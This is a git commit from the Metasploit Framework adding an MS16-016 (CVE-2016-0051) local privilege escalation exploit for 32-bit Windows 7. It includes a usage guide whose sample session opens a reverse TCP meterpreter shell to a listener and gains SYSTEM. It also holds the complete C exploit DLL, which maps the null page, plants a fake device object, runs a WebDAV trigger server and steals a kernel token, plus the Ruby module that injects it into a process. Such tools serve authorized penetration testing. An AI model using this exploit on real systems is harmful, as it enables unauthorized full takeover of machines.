Land #7075, Add ms16-016 local privilege escalation

This commit is contained in:
wchen-r7 2016-07-06 12:01:01 -05:00
commit fee361dae0
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
5 changed files with 690 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,37 @@
## Intro
This module exploits a null pointer dereference vulnerability present in the mrxdav.sys kernel driver on Windows 7 x86. The vulnerability is described by MS16-016 and CVE-2016-0051. The module allows the user to spawn a new payload, such as meterpreter, on the target system with elevated privileges (NT AUTHORITY\SYSTEM)
## Usage
You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. From here, running the module will result in the payload being executed with system level privileges.
An example session follows:
```
meterpreter > background
[*] Backgrounding session 5...
msf exploit(handler) > use exploits/windows/local/ms16_016_webdav
msf exploit(ms16_016_webdav) > set session 5
session => 5
msf exploit(ms16_016_webdav) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms16_016_webdav) > set lport 4567
lport => 4567
msf exploit(ms16_016_webdav) > set lhost 192.168.1.203
lhost => 192.168.1.203
msf exploit(ms16_016_webdav) > run
[*] Started reverse TCP handler on 192.168.1.203:4567
[*] Launching notepad to host the exploit...
[+] Process 3204 launched.
[*] Reflectively injecting the exploit DLL into 3204...
[*] Exploit injected ... injecting payload into 3204...
[*] Sending stage (957999 bytes) to 192.168.1.221
[*] Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
[*] Meterpreter session 12 opened (192.168.1.203:4567 -> 192.168.1.221:49266) at 2016-07-05 22:07:34 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

View File

@ -0,0 +1,424 @@
/*
requires:
Reflective DLL Injection solution by Stephen Fewer
https://github.com/stephenfewer/ReflectiveDLLInjection
compiles with:
Visual Studio 2013
*/
#pragma once
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <process.h>
#include <time.h>
#include <winsock2.h>
#include <windows.h>
#include <winternl.h>
#include <winnetwk.h>
#include <stdio.h>
#include <tchar.h>
#include "defs.h"
#include "ReflectiveLoader.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "mpr.lib")
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
DWORD wdServ(SIZE_T port);
PVOID GetNativeAPI(CHAR *funcName);
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName);
static VOID execPayload(LPVOID lpPayload);
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2);
_ZwOpenProcess pZwOpenProcess = NULL;
_ZwOpenProcessToken pZwOpenProcessToken = NULL;
_ZwDuplicateToken pZwDuplicateToken = NULL;
_ZwSetInformationProcess pZwSetInformationProcess = NULL;
_ZwClose pZwClose = NULL;
_PsLookupProcessByProcessId pPsLookupProcessByProcessId;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
CHAR *KI = 0; // kernel image name
PVOID *KB = 0; // kernel base address
BOOL DROP_THE_MIC = FALSE;
extern HINSTANCE hAppInstance;
static VOID execPayload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return;
}
DWORD wdServ(SIZE_T port) {
TCHAR client_data[1500];
struct sockaddr_in server;
struct sockaddr_in client;
SOCKET s1, s2;
SYSTEMTIME st;
WSADATA ws;
int c = sizeof(struct sockaddr_in), test = 0;
SIZE_T len = 0;
SIZE_T recv_size = 0;
time_t _tm;
struct tm *curtime;
CHAR *buf, *resp, *token, *token2, *timebuf;
if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) {
exit(1);
}
if ((s1 = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);
if (bind(s1, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
exit(1);
}
listen(s1, 3);
while (1) {
s2 = accept(s1, (struct sockaddr *)&client, &c);
if (s2 == INVALID_SOCKET) {
exit(1);
}
/* get stuff from client */
if ((recv_size = recv(s2, client_data, 1500, 0)) == SOCKET_ERROR) {
exit(1);
}
token = strtok(client_data, " \r\n");
if (token != NULL) {
if (strncmp(token, "OPTIONS", 7) == 0) {
buf = (char *)calloc(3000, 1);
len += sprintf(buf + len, "HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
memset(client_data, 0, 1500);
send(s2, buf, strlen(buf), 0);
free(buf);
len = 0;
}
else if (strncmp(token, "PROPFIND", 8) == 0) {
buf = (char *)calloc(3000, 1);
resp = (char *)calloc(3500, 1);
timebuf = (char *)calloc(256, 1);
token2 = strtok(NULL, " ");
GetSystemTime(&st);
_tm = time(NULL);
curtime = localtime(&_tm);
sprintf(timebuf, "%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
len += sprintf(buf + len, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n");
len += sprintf(buf + len, "<D:multistatus xmlns:D=\"DAV:\">\r\n");
len += sprintf(buf + len, "<D:response>\r\n");
len += sprintf(buf + len, "\t<D:href>%s</D:href>\r\n", token2);
len += sprintf(buf + len, "\t<D:propstat>\r\n");
len += sprintf(buf + len, "\t\t<D:prop>\r\n");
len += sprintf(buf + len, "\t\t<D:creationdate>%sZ</D:creationdate>\r\n", timebuf);
len += sprintf(buf + len, "\t\t<D:getcontentlength>0</D:getcontentlength>\r\n");
len += sprintf(buf + len, "\t\t<D:getcontenttype></D:getcontenttype>\r\n");
len += sprintf(buf + len, "\t\t<D:getetag></D:getetag>\r\n");
memset(timebuf, 0, sizeof(timebuf));
sprintf(timebuf, "%.3s, %02d %02d %04d %02d:%02d:%02d GMT", asctime(curtime), st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond); // needs to look like Fri, 11 Mar 2016 20:39:35 GMT
len += sprintf(buf + len, "\t\t<D:getlastmodified>%s</D:getlastmodified>\r\n", timebuf);
if (strstr(token2, "file") != NULL) {
len += sprintf(buf + len, "\t\t<D:resourcetype></D:resourcetype>\r\n");
}
else {
len += sprintf(buf + len, "\t\t<D:resourcetype><D:collection></D:collection></D:resourcetype>\r\n");
}
len += sprintf(buf + len, "\t\t<D:supportedlock></D:supportedlock>\r\n");
len += sprintf(buf + len, "\t\t<D:ishidden>0</D:ishidden>\r\n");
len += sprintf(buf + len, "\t\t</D:prop>\r\n");
len += sprintf(buf + len, "\t\t<D:status>HTTP/1.1 200 OK</D:status>\r\n");
len += sprintf(buf + len, "\t</D:propstat>\r\n");
len += sprintf(buf + len, "</D:response>\r\n");
len += sprintf(buf + len, "</D:multistatus>\r\n");
len = 0;
len += sprintf(resp + len, "HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: %d\r\nContent-Type: text/xml\r\n\r\n", strlen(buf));
len += sprintf(resp + len, buf);
send(s2, resp, strlen(resp), 0);
memset(client_data, 0, 1500);
free(buf);
free(resp);
free(timebuf);
len = 0;
}
else {
buf = (char *)calloc(3000, 1);
/* request not matched */
len += sprintf(buf + len, "HTTP/1.1 500 Internal Server Error\r\n\r\n");
send(s2, buf, strlen(buf), 0);
memset(client_data, 0, 1500);
free(buf);
len = 0;
}
}
/* done at this point */
closesocket(s2);
}
return 0;
}
PVOID GetNativeAPI(CHAR *funcName) {
return GetProcAddress(GetModuleHandle("ntdll"), funcName);
}
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName) {
PVOID addr = NULL;
HMODULE hModule = NULL;
hModule = LoadLibraryExA(kernelImage, 0, DONT_RESOLVE_DLL_REFERENCES);
if (hModule) {
addr = GetProcAddress(hModule, funcName);
if (addr) {
addr = (PVOID)((PUCHAR)addr - (PUCHAR)hModule + (PUCHAR)kernelBase);
}
}
// printf("[+] DEBUG: %s @ 0x%08x\n", funcName, addr);
return addr;
}
/*
the idea for this came from a blog post by j00ru
*/
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2)
{
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hSystem = NULL, hToken = NULL, hNewToken = NULL;
CLIENT_ID ClientId = { (HANDLE)4, NULL };
PROCESS_ACCESS_TOKEN AccessToken;
NTSTATUS NtStatus;
PDWORD CurrentProcess = NULL;
PDWORD off = NULL;
DWORD kFlags2Offset = 0x26c;
DWORD kFlags2, origFlags2, currPid = 0;
PEPROCESS myEP, systemEP;
/* Disable the EPROCESS->Flags2 PrimaryTokenFrozen flag */
currPid = GetCurrentProcessId();
NtStatus = pPsLookupProcessByProcessId((HANDLE)currPid, &myEP);
NtStatus = pPsLookupProcessByProcessId((HANDLE)4, &systemEP);
kFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
origFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
kFlags2 = kFlags2 ^ (1 << 15);
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtStatus = pZwOpenProcess(&hSystem, GENERIC_ALL, &ObjectAttributes, &ClientId);
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
NtStatus = pZwOpenProcessToken(hSystem, GENERIC_ALL, &hToken);
if (!NT_SUCCESS(NtStatus)) {
return STATUS_UNSUCCESSFUL;
}
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtStatus = pZwDuplicateToken(hToken,
TOKEN_ALL_ACCESS,
&ObjectAttributes,
TRUE,
TokenPrimary,
&hNewToken
);
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
AccessToken.Token = hNewToken;
AccessToken.Thread = NULL;
/* turn flag off */
*(PDWORD *)((PBYTE)myEP + kFlags2Offset) = kFlags2;
NtStatus = pZwSetInformationProcess((HANDLE)-1,
ProcessAccessToken,
&AccessToken,
sizeof(PROCESS_ACCESS_TOKEN));
/* turn flag back on because reasons */
*(PDWORD)(myEP + kFlags2Offset) = origFlags2;
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
DROP_THE_MIC = TRUE;
err:
if (hNewToken != NULL) {
pZwClose(hNewToken);
}
if (hToken != NULL) {
pZwClose(hToken);
}
if (hSystem != NULL) {
pZwClose(hSystem);
}
return 31337;
}
int doWork(LPVOID lpPayload)
{
HANDLE hThread, hFile;
IO_STATUS_BLOCK IoStatusBlock;
ULONG len = 0, inputLen = 24, outputLen = 4;
DWORD allocSize = 0x4000;
DWORD allocAddr = 0x00000001;
NTSTATUS ntRet;
NETRESOURCE nr, *pnr;
_NtQuerySystemInformation pNtQuerySystemInformation;
_NtAllocateVirtualMemory pNtAllocateVirtualMemory;
_NtFsControlFile pNtFsControlFile;
SIZE_T port, remoteNameLen = 0;
DWORD wnacRes, *inputPtr, *outputPtr;
PBAD_DEVICE_OBJECT pBadDeviceObject;
char remoteName[64];
char cfName[64];
/* gather info and such */
memset(remoteName, 0, sizeof(remoteName));
memset(cfName, 0, sizeof(cfName));
memset(&IoStatusBlock, 0, sizeof(IoStatusBlock));
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetNativeAPI("NtQuerySystemInformation");
if (!pNtQuerySystemInformation) {
exit(1);
}
pNtFsControlFile = (_NtFsControlFile)GetNativeAPI("NtFsControlFile");
if (!pNtFsControlFile) {
exit(1);
}
pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetNativeAPI("NtAllocateVirtualMemory");
if (!pNtAllocateVirtualMemory) {
exit(1);
}
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, &pModuleInfo, sizeof(pModuleInfo), NULL);
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
if (!ntRet) {
exit(1);
}
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len);
KB = (PVOID *)pModuleInfo->Modules[0].ImageBase;
KI = (CHAR *)pModuleInfo->Modules[0].FullPathName + pModuleInfo->Modules[0].OffsetToFileName;
/* finishing information gathering */
pZwOpenProcess = (_ZwOpenProcess)GetKernelAPI(KI, KB, "ZwOpenProcess");
pZwOpenProcessToken = (_ZwOpenProcessToken)GetKernelAPI(KI, KB, "ZwOpenProcessToken");
pZwDuplicateToken = (_ZwDuplicateToken)GetKernelAPI(KI, KB, "ZwDuplicateToken");
pZwSetInformationProcess = (_ZwSetInformationProcess)GetKernelAPI(KI, KB, "ZwSetInformationProcess");
pZwClose = (_ZwClose)GetKernelAPI(KI, KB, "ZwClose");
pPsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernelAPI(KI, KB, "PsLookupProcessByProcessId");
/* start setting up the trigger */
srand(time(NULL));
port = (rand() % (60000 - 5000)) + 5000;
//printf("[+] Allocating page at 0x00000000 ...\n");
ntRet = pNtAllocateVirtualMemory((HANDLE)-1, (LPVOID)&allocAddr, 0, &allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ntRet != 0) {
//printf("[-] NtAllocateVirtualMemory error. Status = 0x%08x\n\n", ntRet);
exit(1);
}
pBadDeviceObject = (PBAD_DEVICE_OBJECT)GlobalAlloc(GMEM_ZEROINIT, sizeof(BAD_DEVICE_OBJECT));
//printf("[+] Building fake DEVICE_OBJECT ...\n");
pBadDeviceObject->addrPtr = (DWORD)0x00000010;
pBadDeviceObject->evilAddr = (ULONG)&tokenTwiddler;
memcpy((PVOID)0x00, pBadDeviceObject, sizeof(BAD_DEVICE_OBJECT));
//printf("[+] Starting WebDAV server on port %d\n", port);
hThread = (HANDLE)_beginthread((void *)wdServ, 0, (void *)port);
//printf("[+] WebDAV thread started, back in main()\n");
memset(&nr, 0, sizeof(NETRESOURCE));
sprintf(remoteName, "\\\\127.0.0.1@%d\\folder\\", port);
sprintf(cfName, "\\\\127.0.0.1@%d\\folder\\file", port);
pnr = &nr;
pnr->dwScope = 0;
pnr->dwType = 0;
pnr->dwDisplayType = 0;
pnr->dwUsage = 0;
pnr->lpLocalName = NULL;
pnr->lpRemoteName = (LPSTR)&remoteName[0];
pnr->lpComment = NULL;
pnr->lpProvider = NULL;
wnacRes = WNetAddConnection2(&nr, NULL, NULL, (DWORD)0);
// printf("[+] WNetAddConnection2 result: 0x%08x\n", wnacRes);
if (wnacRes != 0) {
// printf("WNetAddConnection2 failed ... wtf\n");
exit(1);
}
hFile = CreateFileA(cfName, FILE_ATTRIBUTE_NORMAL, (DWORD)7, NULL, (DWORD)3, (DWORD)0, NULL);
inputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, inputLen);
outputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, outputLen);
// printf("Calling NtFsControlFile ...\n");
ntRet = pNtFsControlFile(hFile, 0, 0, 0, &IoStatusBlock, 0x900DB, inputPtr, inputLen, outputPtr, outputLen);
// printf("[+] NtFsControlFile result: 0x%08x\n", ntRet);
if (DROP_THE_MIC == TRUE) {
execPayload(lpPayload);
}
else {
/* nothing to do */
}
// printf("[+] Done, cya ...\n");
return 0;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
doWork(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,129 @@
#pragma once
#define STATUS_UNSUCCESSFUL 0xC0000001
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
enum { SystemModuleInformation = 11 };
enum { ProcessAccessToken = 0x09 };
typedef PVOID *PEPROCESS;
typedef PEPROCESS(WINAPI *_PsGetCurrentProcess)(void);
typedef ULONG(__cdecl *_DbgPrintEx)(_In_ ULONG ComponentId, _In_ ULONG Level, PCHAR Format, ...);
typedef struct {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef NTSTATUS(WINAPI *_NtFsControlFile)(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG FsControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
typedef NTSTATUS(WINAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(WINAPI *_ZwOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef NTSTATUS(WINAPI *_ZwDuplicateToken)(
HANDLE ExistingTokenHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
BOOLEAN EffectiveOnly,
TOKEN_TYPE TokenType,
PHANDLE NewTokenHandle
);
typedef NTSTATUS(WINAPI *_ZwOpenProcessToken)(
HANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
PHANDLE TokenHandle
);
typedef NTSTATUS(WINAPI *_ZwSetInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength
);
typedef DWORD(WINAPI *_NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS(WINAPI *_PsLookupProcessByProcessId)(
_In_ HANDLE ProcessId,
_Out_ PEPROCESS *Process
);
typedef BOOL(WINAPI *_ZwClose)(
_In_ HANDLE hObject
);
typedef struct _PROCESS_ACCESS_TOKEN {
HANDLE Token;
HANDLE Thread;
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
/* Hacked up from Process Hacker source */
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct {
ULONG pad1[12];
DWORD addrPtr;
ULONG pad2[14];
DWORD evilAddr;
} BAD_DEVICE_OBJECT, *PBAD_DEVICE_OBJECT;

View File

@ -0,0 +1,100 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation',
'Description' => %q{
This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn
a process on the target system and elevate it's privileges to NT AUTHORITY\SYSTEM before executing
the specified payload within the context of the elevated process.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tamas Koczka', # Original Exploit
'William Webb <william_webb[at]rapid7.com>' # C port and Metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => 'false'
},
'Targets' =>
[
[ 'Windows 7 SP1', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2016-0051' ],
[ 'MSB', 'MS16-016' ]
],
'DisclosureDate' => 'Feb 09 2016',
'DefaultTarget' => 0
}))
end
def check
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Detected
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
print_status("Launching notepad to host the exploit...")
notepad_process_pid = cmd_exec_get_pid("notepad.exe")
begin
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_status("Operation failed. Hosting exploit in the current process...")
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll")
library_path = ::File.expand_path(library_path)
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected ... injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
thread = process.thread.create(exploit_mem + offset, payload_mem)
sleep(3)
print_status("Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.")
end
end